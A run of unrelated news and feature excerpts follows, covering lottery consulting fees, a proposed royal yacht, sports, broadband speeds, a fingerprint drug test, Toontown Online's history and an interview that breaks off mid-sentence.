As for Greenhill, its contract was built around payments tied to the project achieving certain milestones. At this point, Brassell said it is owed $850,000. But if a contract were to be executed with Camelot, Greenhill – a firm where former Gov. Ed Rendell serves as a senior adviser – stands to receive a success fee that will be in the millions. Administration officials have said all consulting fees would be no more than $30 million if a privatization contract is executed. Not included in the $2.85 million tab are the additional legal fees being paid to the Philadelphia law firm Blank Rome. That is the firm the administration hired to defend it in a pending lawsuit filed by the American Federation of State, County and Municipal Employees Council 13, some Democratic lawmakers and senior citizens over the lottery privatization. That firm’s contract is for $200,000 and to date, it has been paid $116,504 out of the lottery fund, Brassell said. That amount is enough to cover 5,628 prescriptions through the PACE/PACENET program, 46,415 free transit rides for seniors, 247 property tax and rent rebates, or nearly a full year of nursing home care for two individuals. The Pennsylvania Area Agencies on Aging was among the senior citizen organizations that supported the privatization pursuit as a way to boost lottery profits. But Crystal Lowe, executive director of the Pennsylvania Association of the Area Agencies on Aging, said the $3 million spent on consultants would go a long way to whittling down the 6,200 to 6,400 seniors on a waiting list for Area Agency on Aging services. Still, Lowe doesn’t fault the administration for hiring outside experts to help it work through the complicated privatization effort. “I understand the need to get financial and legal expertise in order to do this,” she said. “The lottery is far too precious for it to be at risk. So many people depend on it and we don’t want to do anything that in the long-term compromises that.” -The proposal by 50 Conservative MPs follows plans to turn Britain’s passports blue after Brexit Fifty Conservative MPs are pushing ministers in Theresa May’s cabinet to create a new lottery to raise funds for a £120 million royal yacht to promote post-Brexit Britain. It follows plans to replace the country’s passports, which are currently burgundy and bear EU markings, with a blue British one after Brexit. A new yacht would “showcase post-Brexit Britain and bring trade to our shores”, the MPs said. In a letter sent to the Government, the MPs said that a new national lottery game would allow ordinary Britons to feel “the pride of having a stake” in the boat, which would also “project our humanitarian role across the globe” after Brexit. But the proposal met with an immediate backlash on Twitter, as the MPs faced accusations of being “out of touch” with the public. Angry social media users pointed to the number of homeless people on the streets and the cash-strapped National Health Service, as they questioned the Conservatives’ priorities in spending £120 million on a new yacht. Number of people sleeping rough has DOUBLED since the Tories took over in 2010 and these MPs are focusing on buying a new royal yacht? If you vote Tory you have a hand in this. — Ian M (@Ian_McKinley) December 28, 2017 Prominent Brexiteers such as Boris Johnson, the foreign secretary, and Liam Fox, the international trade secretary, were among the recipients of the letter. Defence secretary Gavin Williamson and culture minister Tracey Crouch also received the letter. Royal Yacht Britannia was decommissioned in 1997 by the then-Prime Minister, Tony Blair, on account of its high costs. Until then, it had been regularly used by the Queen and members of the Royal family on their overseas trips. Over the course of 40 years, it took part in almost 1000 official tours and travelled over a million miles at sea. The MPs called on ministers to “right the wrong” of Labour’s decision on the vessel, saying: “As we leave the European Union, there has never been a better time to consider how Britain projects herself on the world stage. “We believe that now is the time to commission a new Royal Yacht Britannia as a new symbol of global Britain, designed and built domestically to showcase the best of UK shipbuilding and industry, and as a platform for promoting trade.” _______________ Read more: Brexit to turn British passports blue British firms fear fate worse than Brexit Year in Review: Populism was on the march in 2017 _______________ It added: “Our country needs and deserves a floating Royal Palace that can be used to host meetings and exhibitions to showcase the best of British business and project our humanitarian role across the globe.” The letter insisted that the replacement vessel would not add a burden to departmental budgets, thanks to the proposal to establish a new national lottery to help pay for it. “It would be the people of the UK through the unique funding method who would have the pride of having a stake in her,” it said. The note was signed by four former ministers, including Andrew Murrison, a former defence minister, and Anne-Marie Trevelyan, a Parliamentary private secretary in the defence department. It was written by Conservative MP Craig Mackinlay, who was previously a member of the UK Independence Party. The campaign was supported by Anthony Morrow, the last captain of HMY Britannia, who said: “A new initiative for a Royal Yacht to replace Britannia is to be warmly welcomed and it would be wonderful to see this come about.” -University of Illinois point guard Jaylon Tate was arrested in Champaign, Ill. early Saturday morning on domestic battery charges, public records show. Champaign police Sgt. Bruce Ramseyer said on News-Gazette.com that the 19-year-old victim, also a University of Illinois athlete, confirmed to police she had been hit once in the face by Tate. MORE: NCAA basketball live scoreboard | UConn clock controversy Ramseyer said the responding officers could see she was spitting blood and had a swollen face. She went to a local hospital's emergency room to be evaluated. Police arrested Tate without incident and he was booked in Champaign County Jail at 6:15 a.m. Tate, 21, will remain in the county jail until at least Sunday morning, when he is expected to make a bond court appearance. He has denied any physical contact with his girlfriend, Ramseyer said. Tate has been indefinitely suspended by Illinois. Athletics Director Josh Whitman and head coach John Groce released the following statement. Tate has started at times during his career at Illinois. He averaged 1.8 points and 2.5 assists per game as a junior. He's the third Illini basketball player to be arrested since August. -Research suggests the majority of women arrested in domestic violence incidents are themselves victims of ongoing abuse from their male partner. The research, by the anti domestic violence group Shine, analysed the arrests of 60 women in Auckland City between April and September last year. The report's author, Deborah MacKenzie, says of 35 women who assaulted their male partners, 19 used violence in response to ongoing abuse. Dual arrests, where both parties are taken into custody, featured in nine out of the 35 cases. Ms MacKenzie says this indicates the police sometimes have difficulty in identifying who the dangerous person is in the relationship. She says officers should be trained to identify which party is most at risk. Ms MacKenzie says in some cases men want to be the first person to call police, knowing they will be treated as the victim rather than the offender. -When you’re depressed, it’s easy to lie in bed and consider staying there forever – here are some suggestions for owning the world you might be scared of Text Beth McColl I wasted most of my time when I was depressed. I stared at walls instead of doing my essays. I got in from work and lay face-down on the floor instead of getting started on dinner, putting my clothes in the wash, or calling someone who loved me. I watched two seasons of Nashville before I realise how much I hated Nashville. Then I watched the third season of Nashville. It was so fucked up. Point is – in the midst of soul-crushing depression, wasting time is easy. It’s understandable. When you’re in the deepest dark of depression your only job is to survive. It’s enough to begin and end each day alive. Getting out of bed is almost impossible, getting a glass of water takes 45 minutes. You weigh up the pros and cons of leaving your room to pee. ‘Could I pee in that cup?’ you think. ‘Is that a thing I could do?’ But what about after? What about when the depression lifts – and it will lift, it will, it will. What about then, when you’re standing almost healed among the wreckage, wondering how to begin building it into a life worth living? This was me last year. I’d gotten over the worst of the breakup that felt like it would kill me. I was taking my Prozac on time, every day. I was putting an end to those harmful behaviours that had kept me locked in a depressive state for two years. I was eating. I was taking walks. Basically, I was only a little bit depressed, instead of full blown suicidal. Progress, sure, but six months after this turning point, I was still sort of in the same place. My self-destructive behaviours had morphed into inertia. I was so afraid of ever going back to The Worst Place that I didn’t dare to take any risks on myself, didn’t dare to take a step forward in case I stumbled and brought the world crashing back down. I didn’t write, I didn’t date. In short, I didn’t Do. But here’s the thing. The best of life is in the Doing. It’s in the Deciding To Apply For That Job. It’s in the Finally Learning How To Knit. It’s in the Healing. It’s in the Getting Up Everyday To Do Yoga. We could do these things, right? We survived the worst of the worst, these things should be easy. So why aren’t we doing them right now? Why are we keeping them undone? Maybe it’s because we’re avoidant idiots with hearts of gold. Maybe it’s because we’re just not ready (which is fine). But maybe it’s simply because, undone, they can’t be proven undoable. It’s like the promise of a feast at the end of a long day. It both starves and sustains us. And the real terror is that you can stay hungry forever. It’s a possibility. It happens. What’s to stop it happening to you? IT’S YOU THAT DECIDES IT CAN’T HAPPEN You can calmly accept that, if you want to have something, you will need to reach out and take it. You will have to fill your own belly with food. It is as terrifying and as easy as that. Your best life will not be handed to you by the universe. But that’s OK. Because the universe doesn’t know what you want. The universe is like that great aunt you have who smells like medicine and knits you a jumper for Christmas that’s two sizes too big and has three sleeves and says ‘From Your Aunt Morgaret’ on the front even though that’s not her name. That’s nobody’s name. MAKE LISTS Take it as lightly as you can. Be nice to yourself. Hold your own hand. Understand that these are things that need to happen. They’re things that can happen. You can make the phone calls you need to make, you can fill out the forms that need filling in, you can learn what needs to be learned. You can push through the panic and do what you need to move forward. You can do these things, not because the world will fall apart if you don’t, but because you are as important as any other person on this planet, and your life will be better and more enjoyable if you try your best to get to where you want to be. Also because it’s what Aunt Morgaret would have wanted. -Israel’s foreign minister on Wednesday said it's not the business of the United States whether his country decides to attack Iran. Foreign Minister Avigdor Lieberman said that warnings from the United States and Russia about an attack would not affect Israel’s decision-making. ADVERTISEMENT “[It] is not their business,” Lieberman said in an interview with an Israeli TV station Wednesday, according to The Associated Press. “The security of the citizens of Israel, the future of the state of Israel, this is the Israeli government’s responsibility,” he said. Lieberman’s comments come after Joint Chiefs Chairman Gen. Martin Dempsey said Sunday that an Israeli attack would be “destabilizing” for the region. President Obama has said that the United States will not allow the Iranians to obtain a nuclear weapon, but Israeli officials say their country’s existence is threatened by a nuclear Iran. The Israelis have suggested they might attack Iran to stop its nuclear program with or without U.S. assistance. Iran says that its nuclear program is for peaceful purposes only, but Israel, the United States and their allies believe Iran is striving to create a nuclear weapon. U.S. officials have pushed Israel to wait for sanctions against Iran to have an impact on the country that could convince the Iranians to abandon their nuclear pursuits. U.S. National Security Adviser Tom Donilon just returned from a visit to Israel, where he met with Prime Minister Benjamin Netanyahu and other top Israeli officials. Netanyahu and Obama have a meeting scheduled March 5 at the White House while Netanyahu is in the country for the AIPAC convention. -Singaporean retail service provider (RSP) MyRepublic has called "bull****" on claims by Australian National Broadband Network (NBN) CEO Bill Morrow that consumers don't need and wouldn't use 1Gbps broadband, and has announced that it is launching a "gigatown" to prove customers' desire for higher speeds. "It's absolute bull****," MyRepublic Australia managing director Nicholas Demos said in an interview with ZDNet. "Australians want faster internet ... it is just a ludicrous statement to say there is not a requirement for it." Demos argued that 82 percent of NBN's users are on speeds of 25Mbps or less only because the incumbent RSPs have simply moved customers from their existing plans and price points onto the same plans and pricing on NBN services. In the 12 weeks since launching as an NBN RSP, Demos said MyRepublic has signed up 10,000 customers to its high-speed plans, which proves that customers do want faster services -- as does the fact that 40 percent of its New Zealand customers are already on 1Gbps plans. Arguing in November that the NBN had not yet properly launched, because RSPs are simply offering the same services, speeds, and pricing as before, MyRepublic offers just one package at one price on the highest possible speed tier available for each customer. Demos blamed the lack of 1Gbps NBN products on the network company's connectivity virtual circuit (CVC) charge, which reserves a consumer's bandwidth from the point of interconnect and is priced depending on usage of data. "The CVC pricing that the NBN are charging, it's not economical," he told ZDNet. "Yes, they do offer retailers such as us a product with CVC pricing -- a one-gig product -- but it's just priced out of the market and no consumer will buy it at that price in Australia." MyRepublic has announced that it plans to convince NBN of the desirability of 1Gbps broadband by bearing the cost of connecting consumers in one Australian town with 1Gbps services and gauging uptake of the service. "We're launching a one-gigabit town in Australia ... just to show there is demand for it, it does work, people want it, but it's the [NBN] product that is wrong, which is why you can't offer it to the mass market at the moment," Demos told ZDNet. The RSP will on Friday put out the call for consumers to express their interest in receiving a 1Gbps broadband connection, which will inform MyRepublic's decision on which town to connect -- although it would have to be in an area with full fibre-to-the-premises connectivity, Demos conceded. The 1Gbps pricing will remain the same as MyRepublic's other packages, at AU$60 per month, with the gigatown to be launched in the next few months. MyRepublic's statements follow Morrow's claim during NBN's financial results presentation on Thursday that RSPs are not offering 1Gbps packages to consumers due to a lack of demand. "We have roughly a million and a half homes that can have a technology to get a gigabit-per-second service capability today. We have a product that we can offer the retailers, should they want to sell it," Morrow said. "The reality is that a couple of the retailers have signed up for a trial ... but they have chosen not to offer that to the consumers. "I will presume it's because there isn't that big of a demand out there for them to actually develop a product to sell to those end users." On its fixed-line network, NBN again reported the majority of its users as being on the 25/5Mbps speed tier as of December 31, with 51 percent of users choosing these speeds, while 31 percent were on the 12/1Mbps speed tier; 13 percent were on 100/40Mbps; 4 percent were on 50/20Mbps; and 1 percent were on 25/10Mbps. Calling 1Gbps "a lot of bandwidth", Morrow claimed NBN has "scoured" the globe to speak with RSPs and carriers that have 1Gbps products that have seen limited uptake due to consumers not needing those speeds, or not wanting to pay for them. "We asked the question, 'Has anybody actually used that amount of bandwidth?' And the answer was unanimously 'no'," Morrow said. "There are not that many applications that warrant much above the products that are being sold on NBN today, so I suspect that's the main reason. 'If I have to pay for it to move from 100[Mbps] up to a gigabit per second, I don't really have the application or the need for it, so why would I pay more to do that?' I believe that's the market dynamic that is occurring today." Morrow acknowledged that there will be applications in future that will need more bandwidth, such as alternate reality, artificial intelligence, and 8K video, but said the demand is not there now. "All of these other things could certainly drive up more of that consumer need, but we haven't seen that as of yet," NBN's chief executive said. "Even if we offered it for free, we see the evidence around the world that they wouldn't use it anyway." NBN has since claimed that Morrow's statements were taken out of context. "NBN is disappointed to see media coverage today has taken comments on internet speeds by our CEO out of context," an NBN spokesperson told ZDNet. "While the NBN network does offer 1Gbps wholesale services to retailers, to date no retailer has elected to sell these services. That is a commercial decision for the retailers." Morrow's statements came despite the City of Adelaide last month putting out a call for providers for its 10Gbps fibre broadband network; Telstra launching a 1Gbps 4G mobile network; and the majority of RSPs in New Zealand offering a 1Gbps service as of the end of last year across the New Zealand government's NBN equivalent. In Singapore, 10Gbps broadband services have been offered by both Singtel and M1 for a year. -To celebrate International Women’s Day 2017 we take a look at some inspirational and bold Welsh women from our history. 5. KATE ROBERTS Kate Roberts was our “Queen of Letters” and one of ‘the most important Welsh woman of the 20th century’ according to her biographer Alan Llwyd. She was a prominent author, a prolific journalist and a major benefactor. Kate Roberts was one of the earliest members of the National Party and was the owner of Y Faner. She served Wales on various committees and in eisteddfods, and was prominent in several national and local campaigns, including the one to establish Ysgol Twm o’r Nant school in Denbigh. She lived a varied and industrious life, but also a life that was filled with tragedy and sadness. 4. MARGARET JONES Margaret Jones (1842-1902), was a woman from Rhosllannerchrugog, north Wales, who became famous in the nineteenth century as “The Welsh Lady from Canaan”. She travelled extensively and spent time living in Paris, Jerusalem, Morocco, the United States and Australia. She published two books of her observations, “Llythyrau Cymraes o Wlad Canaan [The Letters of a Welsh Lady from Canaan] (1869) and “Morocco, a’r hyn a welais yno” [Morocco, and what I saw there] (1883). 3. ZONIA BOWEN Zonia Bowen is an Englishwoman who embraced the Welsh language and became a key figure in the period leading up to the establishment of Merched y Wawr. She came to Wales at age 17, married a Welsh man and learnt Welsh – well before the days of Welsh lessons for adults. 2. ESME KIRBY Esmé Kirby was the conservationist who formed the Snowdonia National Park Society. Her career began as an actress, and at 23 she married Thomas Firbank, whose bestselling book, I Bought a Mountain (1940) tells of their married life at Dyffryn, a 3,000-acre farm near Capel Curig. Their marriage ended as the Second World War began but Esmé continued to farm on her own in the rugged Snowdonia landscape and made a success of it. She remarried and became a volunteer conservationist and formed the Snowdonia National Park Society, to ensure the mountains were protected from future development. The local farming community saw her strength and determination, and helped her to succeed… She made a success of Dyffryn against all the odds, leaving a lasting legacy. 1. KATE BOSSE GRIFFITHS Kate Bosse-Griffiths, of German-Jewish descent, succeeded in fleeing from Germany to the Britain in 1937. She fell in love, married, began writing in Wales and established Cylch Cadwgan whilst the Nazis made life in Germany and Europe hell on Earth. Her family was persecuted. A few tried to become a part of the system, others struggled in spite of the system, and some self-sacrifed in opposition of the system. In Oxford she met fellow Classics scholar and Egyptologist J. Gwyn Griffiths and they soon settled as a married couple in Rhondda where Kate established the Cadwgan Literary Circle. She fled the brutal regime of the Nazis and became one of Wales’ leading academic and literary figures. The story would have been lost forever if it wasn’t for the thousand and more pages that have been kept by the family; letters, diaries and documents. They give an account of the attacks during Kristallnacht (The Night of Broken Glass), life under the insane regime, details of prison camps, fleeing to Shanghai, suicide, imprisonment and killing. Hers is a story of love and hatred, protection and persecution, yearning and terror during the most destructive period in European history. Read more at ylolfa.com Advertisements -EDEN PRAIRIE, Minn. — When Minnesota Vikings coach Mike Zimmer canceled the last session of minicamp as a reward for the team’s offseason work, most players were surprised and delighted by the early start on summer vacation. Moritz Böhringer wasn’t so sure. More Vikings coverage "I wanted to practice," Böhringer said, smiling wryly, "because it’s always good to get some more reps." Nobody on the 90-man roster needs more training than Böhringer, the rookie wide receiver from Germany who became the first draft pick in the history of the NFL to come directly from a country outside the United States. His deficiencies haven’t been for a lack of dedication, though. This is simply the situation he’s in, having discovered the sport about five years ago through YouTube videos of Vikings running back Adrian Peterson. He has played competitively for merely three seasons at a level nowhere near as sophisticated or intense as the league is entering. "He’s starting from way, way, way behind," offensive coordinator Norv Turner said. For the Schwabisch Hall Unicorns in 2015, Böhringer had 16 touchdown receptions and an average of 20.9 yards per catch in 21 games on his way to the German Football League’s rookie of the year award. The Unicorns only ran 70 or 80 plays out of five or six formations, paling in comparison to the complexity of Turner’s playbook with the Vikings. Naturally, Böhringer’s helmet has been spinning this spring in his attempt to grasp the route concepts, blocking responsibilities and advanced footwork technique required to excel at his highly skilled position. He threw up on the field during his first practice in Minnesota, last month at rookie minicamp. Throughout the workouts with the full team over the past three-plus weeks, Böhringer has dropped plenty of passes. "Most of the time it’s a mental thing, because I’m not 100 percent comfortable with the playbook," Böhringer said Thursday after the Vikings wrapped up their offseason program and adjourned for six weeks until training camp. "But I think it’ll come after time." The Vikings have raved about the 22-year-old’s acuity, despite his inexperience. General manager Rick Spielman declared Böhringer "off-the-charts smart," fully confident he can grasp the intricacies of American football with time. "You want to start at the grassroots and work your way up, and we’ve been doing that with him. He’s extremely intelligent, so he catches onto things pretty well," wide receivers coach George Stewart said. "He understands exactly what I’m trying to communicate to him. He has a great understanding of the language." FOLLOW US FS North on Facebook FS North on Twitter FS North on YouTube FS North on Instagram Culture hasn’t been an issue, either, beyond a couple of predictable hiccups. His golf debut didn’t go so well — "I don’t think it’s my sport, but I tried," he said with a laugh — and he was unaware of the American custom of tipping restaurant servers that is uncommon in Europe. "We go out to eat almost every night, so that’s something that was kind of eye-opening for him and he’s still kind of getting used to," said quarterback Joel Stave, his roommate this spring. "Every once in a while, he’ll leave a dollar and we’ve got to cover it for him." Böhringer and Stave have formed a playbook study group with another rookie, tight end David Morgan. "He’s getting more comfortable with the offense, he’s getting more comfortable with just football here, and he’s getting more comfortable with the guys," Stave said. "He seems more confident, and it seems like he’s having more fun. It’s been a lot of fun getting to know him and a lot of fun getting to talk to him and see what it’s like coming from a different background like that." Targeted as a prospect through the NFL’s expanding international outreach program, Böhringer blew away the scouts at Florida Atlantic University’s pro day workout with a 4.43-second 40-yard dash. His 6-foot-4, 227-pound frame stoked the buzz around the league. Spielman called Stewart into his office one day during the pre-draft evaluation process at team headquarters to watch a YouTube highlight video of Böhringer’s GFL games . They were sold. Rather than risking a wait to sign him after the draft, the Vikings took him in the sixth round. "There are not a lot of receivers who are as big as me and have athletic ability. I think this combination is pretty unique," Böhringer said. He’s equally aware of the marketing implications accompanying his arrival. "I think that’s the best way to spread the game, having players from other countries be as role models," Böhringer said. Soon he’ll report to training camp and put the pads on, bringing a new bunch of challenges. "I still have to get used to that it’s my job now," Böhringer said, "and not just a hobby." -An unfakeable test for cocaine use that only requires a single fingerprint has been developed by scientists. It is the first of its kind to test for ingestion of the drug, and is sufficiently developed that its creators expect it to be miniaturised into a portable device and in the hands of law enforcement agencies within ten years. By using mass spectrometry, the test is able to detect the presence of chemicals excreted as cocaine metabolises in the body, providing immediate confirmation of a suspect’s cocaine use. Such a device would be a revolution for law enforcement, as it would enable police, prison officers and other agents to establish if a person had taken the drug at the scene, without the need for invasive blood or urine tests. It would also remove the need for specialists and safe storage and disposal of bodily fluids, reducing costs and rapidly speeding up the process. It is likely become a commonly used device, akin to the breathalyser, that police use during standard stop-and-searches and raids. The test, which was developed by scientists from the University of Surrey with support from researchers from the Netherlands Forensic Institute, the UK’s National Physical Laboratory, King’s College London and Sheffield Hallam University, is notable for ability to test for ingestion of cocaine, rather than just skin contact. “When someone has taken cocaine, they excrete traces of benzoylecgonine and methylecgonine as they metabolise the drug, and these chemical indicators are present in fingerprint residue,” explained study lead author Dr Melanie Bailey, from the University of Surrey. “For our part of the investigations, we sprayed a beam of solvent onto the fingerprint slide (a technique known as Desorption Electrospray Ionisation, or DESI) to determine if these substances were present. DESI has been used for a number of forensic applications, but no other studies have shown it to demonstrate drug use.” The scientists verified the test’s efficacy by comparing its results to standard saliva tests, thus demonstrating that it would be reliable enough to use in real-world situations. As it tests using a fingerprint, the device could also simultaneously verify the subject’s identify, meaning it would be – at least in theory – impossible to fake. “The beauty of this method is that, not only is it non-invasive and more hygienic than testing blood or saliva, it can’t be faked,” said Bailey. “By the very nature of the test, the identity of the subject is captured within the fingerprint ridge detail itself.” Detailed in research published today in the journal Analyst, the test only requires miniaturisation before it can be used by law enforcement. And due to advances in this area, the researchers are confident this will be a quick process. “We are only bound by the size of the current technology. Companies are already working on miniaturised mass spectrometers, and in the future portable fingerprint drugs tests could be deployed,” added Bailey. “This will help to protect the public and indeed provide a much safer test for drug users.” However, the public reaction to the device remains to be seen. In a world where increasing police powers and control are a genuine concern, a fingerprint scanning device of this type could be met with considerable suspicion and resistance. -The problem with Xbox Kinect - aside from a decent range of top-drawer titles - is the inability to play without a large living room and yards of space. Gaming accessories manufacturer Nyko seeks to change all that, though, with this badboy accessory. The Nyko Zoom for Kinect reduces the space required to play Kinect by up to 40 per cent. By my calculations, that means the recommended distance required to stand away from the sensor can be lowered from 8ft to under five. The Zoom clips on top of the sensor without any modification and effectively makes Kinect look the wrong way through a pair of binoculars. It also comes bundled with iBoutique Zoom Lens Cleaner, a brush-like device of which the name is fairly self explanatory. The Nyko Zoom will see its UK release on 31 August. Amazon is now taking pre-orders for £36. ® -The use of the word “toon” to describe MMORPG characters is a contentious one, with fans divided over its annoyance or acceptance. But when it came to one MMORPG, it was nothing but proper terminology to call all characters just this. Toontown Online was one of those “kiddie MMOs” that you probably ignored unless you happen to fall within its demographical clutches back in the day. While it lasted for about a decade, the game’s operation would be notable for its repeated transformation and uncertain status. With a silly, cartoon-like look and theme, this MMO attempted to bring a levity to a genre that was often marinating in deep fantasy lore and statistical theorycrafting. But when you wanted to eschew dragon fighting for slapstick pie throwing, there was no better game out there. Let’s take a look! M.I.C.K.E.Y. MMO.U.S.E. The year 2003 witnessed an explosion of MMORPGs that had been in development after the first generation of graphical MMOs rose to such prominence in the late 1990s. Tucked among Star Wars Galaxies, EVE Online, Shadowbane, Lineage II, and PlanetSide was an odd little title from the Mouse House itself. Disney had been looking to take its brand online since 1996 (with the proposed yet never-developed HercWorld). Around that time, one Imagineer named Jesse Schell created a virtual game of tag between Mickey and friends as a proof-of-concept that gained traction among the company. Disney’s Internet Zone at its Epcot theme park incorporated the Toontag game for a decade and led to the idea of a family-friendly online game that would be safe and fun for all ages. The pitch that the internal team gave to its higher-ups was that of a “Massively Multiplayer Online Theme Park,” which obviously appealed to Disney’s sensibilities. But the “20 MMOs in one” concept was too expensive — to the tune of $100 million — and so the team started working on an Atlantis: The Lost Empire MMO as an alternative. This project didn’t make it to launch (fortunately, considering that the movie floundered at the box office), and the team moved on to creating a town full of cartoon characters in the vein of the movie Who Framed Roger Rabbit? With about six million dollars budgeted, Toontown began production in 2000. Having run its beta (or “sneak peek”) since late 2002, Toontown Online was ready to go prime time with its launch on June 2nd, 2003. Disney Online marketed the game as a “non-violent” alternative to other MMOs that incorporated the experience from Disney’s famous theme park Imagineers. “We made Toontown a place for everyone, much like our theme parks, so it would appeal to a mass audience. In addition, and in the tradition of the Disney theme parks, this online attraction will grow over time, continuously offering our guests an ever-changing adventure,” said Managing Director Ken Goldstein. A cartoony community In the game, players would take on the role of colorful Toons who were attempting to defend their town against soulless “Cogs” — robots who wanted to turn everything into dull grey structures. The only way to fight back was to employ slapstick gags as weapons, such as spritzers, megaphones, or good ol’ fashioned pies in a turn-based showdown. Either the Toons would prevail with their hilarity or the Cogs would overwhelm them with sadness. Housing, parties, and minigames were also par for the course when a player Toon didn’t want to go out to tackle the Cogs. Interestingly enough, while the game was an official Disney product and featured several licensed characters, the player Toons themselves looked like they came straight from the Looney Toons library. Toontown Online was specifically designed to encourage players to be social and varied in their activities. They had to farm jellybeans from minigames to purchase gags for combat, and to play those minigames and progress in fights, they needed friends. “It was almost a religious thing with us: If this is going to be an online game, everything about it should be about playing with other people,” said Schell. ToonFest and SpeedChat While no massive hit, Toontown Online nevertheless became a modest success both critically (it was awarded “MMORPG of the Year” in 2003 by Computer Gaming World) and among its growing crowd of fans. A subscription fee of $9.95 a month kept the title somewhat affordable for families and kids, and a “safe” communication system called SpeedChat. In design, SpeedChat would select pre-made sentences to keep kids from getting harassed, and grouping could only happen if kids exchanged special codes in-person with their friends. Not surprisingly, players found a way to pass out these codes in game even so, arranging housing decorations to form the letters and numbers. Sony Online Entertainment, a major player in the MMORPG market in the 2000s, got in on the action in 2005. A subsidiary of SOE called Platform Publishing helped to get Toontown Online to retail shelves in an attempt to grow the game’s market. By 2006, 15 million characters had been created for the game. To its credit, Disney threw a lot of support behind Toontown Online, including hosting a couple of player conventions that it called ToonFest. The first ToonFest was staged in 2006 and got a major publicity bump by the Disney Channel, with a second festival to follow in 2007. Another cool event was an in-game charity event in 2004 in which players recovered Cog-captured buildings to raise money for the Starlight Starbright Children’s Foundation. The end (or is it?) The long-running MMO stumbled to a halt on September 19th, 2013, almost 10 years after it first released. No specific reason save that of “shifting development” from Disney was given for the closure, although the company encouraged players to check out its other titles (such as Club Penguin). CNN put the blame for the shutdown on Toontown Online’s declining population but reported that thousands of players had signed a petition to get Disney to change its mind. The news outlet noted that the game had a special significance to certain gamers: “Because Toontown was a family game open to anyone seven and older, many of its more dedicated users started as children and grew into young adults while playing the game, making it an integral part of their childhood.” It wasn’t as though Disney was trying to ditch and forget about Toontown Online entirely, however. Rumor was that the title wasn’t making enough money in its current format, and whispers of a mobile port surfaced soon after the shutdown. As of today, any further plans with the game have yet to be unveiled. Toontown Rewritten Not willing to let a good thing die, the Toontown fan community gathered the perishing title into its arms and breathed a single word in its ear: “Emulator.” This, mere months after Toontown Online was canceled, Toontown Rewritten started alpha testing. “We know that it has been a long time since we originally promised the Toontown Rewritten alpha, however we do have good reason for the delays,” the project team posted in October 2013. “The more we worked on Toontown Rewritten, the more we saw that this game is severely outdated and needs a big rework. These past three months we have been setting groundwork to make sure that this game is not only revived, but revived so that it will last.” This hard work paid off, as Toontown Rewritten progressed through alpha, beta, and finally launch. The fan emulator, which publicly distances itself from the Disney moniker, has been running and delivering new content for four years now. It really goes to show that you never know how certain MMOs can make a lasting imprint in the minds and hearts of fans and how these games can become virtual homes that players never want to leave. -Having broken into the England Test side the player’s decision to walk away from the game aged 25 caused quite a stir but he explains that, for him, there is a lot more to life than cricket Professional sport is scarred by stories of ageing athletes clinging to faded glory, or by bleak tales of their struggles in retirement, and so Zafar Ansari stands out in shimmering contrast. Ansari played three Tests late last year, his debut in Bangladesh and two in India, picking up five wickets and grinding out a highest score of 32. It was a start in the hardest arena of cricket and so Ansari’s retirement in April, at the age of 25, seemed unusual. Of course those who knew him felt no shock. Alec Stewart, the director of cricket at Surrey, for whom Ansari had played since the age of eight, was supportive. “It’s a brave and considered decision,” Stewart said. “He was always open and honest.” County cricket: Yorkshire v Surrey and more as day-night matches begin – live! Read more Stewart alluded to Ansari’s academic background, for the left-arm spinner had obtained a double first in social and political science from Trinity Hall, Cambridge, as well as a subsequent MA in history. “When Zafar was reading a novel, the rest of our boys would be doing a colouring-in book,” Stewart said in his homespun way. Kevin Pietersen, who played with Ansari at Surrey, tweeted amusingly: “Way too clever to be a cricketer!” Over the last six weeks I have got to know Ansari a little better. It is striking to receive some beautifully written emails from a sportsman, whether young or retired, about subjects stretching from I Am Not Your Negro, the recent James Baldwin documentary, to Ansari’s encouraged and flowing analysis of Labour’s unexpected election results. Books and writing have been at the heart of our exchanges, from Hisham Matar’s The Return to Norman Mailer’s The Fight. It seems fitting that Ansari suggests we meet at the National Theatre, rather than The Oval, so he can talk for the first time in detail about his reasons for leaving cricket. After we have chatted for an hour he relives the quietly dramatic moment when he told his Surrey team-mates he was retiring a month into a new season: “There definitely were a few tears. I was choking up, and eventually crying. Other guys were also in tears. Alec Stewart choked up and Kumar Sangakkara said some lovely things. A physio I’ve known a long time was crying his eyes out. It was tough.” Facebook Twitter Pinterest Ansari appeals unsuccessfully during the County Championship Division One match between Surrey and Lancashire at The Oval in April. It was to be his last game as a professional cricketer. Photograph: Jordan Mansfield/Getty Images Ansari smiles at his bittersweet memory. “It’s difficult when you don’t have a Twitter account, and are reserved in your public output, because these are very hard decisions you spend hours talking about with your family. But once you stop playing it’s natural there are lots of things you’ll miss. So it was reassuring it felt difficult. “It would actually be inhuman to think that you’d just forget. You can’t move away from something you did for so long without an ache. But I’m fortunate this is my choice – rather than a decision forced on me by injury or age. It happened over a long period as my competitive instinct was diminishing – and there was a fundamental sense I needed to be not only obsessive about cricket but obsessive about constantly improving my game. I started to tire of the complete immersion demanded by cricket.” Ansari’s involvement with England’s Test team underlined that consuming focus – while making him regret the way in which international sport isolated him from real life. “I don’t want to make it sound negative but being an England cricketer requires a single-mindedness about cricket I lack. At Surrey, having lots of disparate things in my life helped my cricket. But this approach was not appropriate with England. The standard of cricket and the intensity of being abroad for 12 weeks, with the press around you, meant I could not be myself. I was missing out on things that are authentic to me.” He was proud to have become a Test cricketer and Ansari knew he should be thinking more about bowling to Cheteshwar Pujara and Virat Kohli than worrying about Donald Trump. But such a restricted worldview did not make sense. “It was a very politically significant time. Trump was elected on the first day of our opening Test in India. I was batting at 10 and we weren’t allowed our phones in the dressing room. I was getting snippets of information from security but I felt so disconnected from something I would have been hyper-connected to here. The combination of playing very difficult cricket, while missing things that mattered so much, made me think more clearly about my future. Pink balls at night may not be every County Championship batsman’s delight | Vic Marks Read more “I heard the news about Trump at the end of that day’s play. We got our phones and it was a shocking moment. I expected [Hillary] Clinton to edge it and found it difficult to accept. I’ve since focused most on the policy – like changes to healthcare provision, the attempted Muslim ban, as well as the ramping up of immigration and deportations – rather than just thinking of Trump as the clown he often appears. It’s important to be less hysterical about the person but more hysterical about the political implications.” Could he talk about such concerns to his England team-mates? “Yeah, and I think they enjoyed the fact we had conversations around the breakfast table that we wouldn’t normally have as cricketers. They are by no means apolitical but their focus is inward a lot of the time. So we had some interesting discussions and there was a range of opinions. “I don’t know if there were any people who were pro-Trump. But some were definitely sympathetic to things he was saying. I took it as a positive that there was space for these conversations. But when you have a degree there’s this expectation you can provide answers to questions you have no idea about. I’m just not that well-read so sometimes it was quite funny.” Facebook Twitter Pinterest Zafar Ansari bowls during his Test debut for England against Bangladesh at the Shere Bangla National 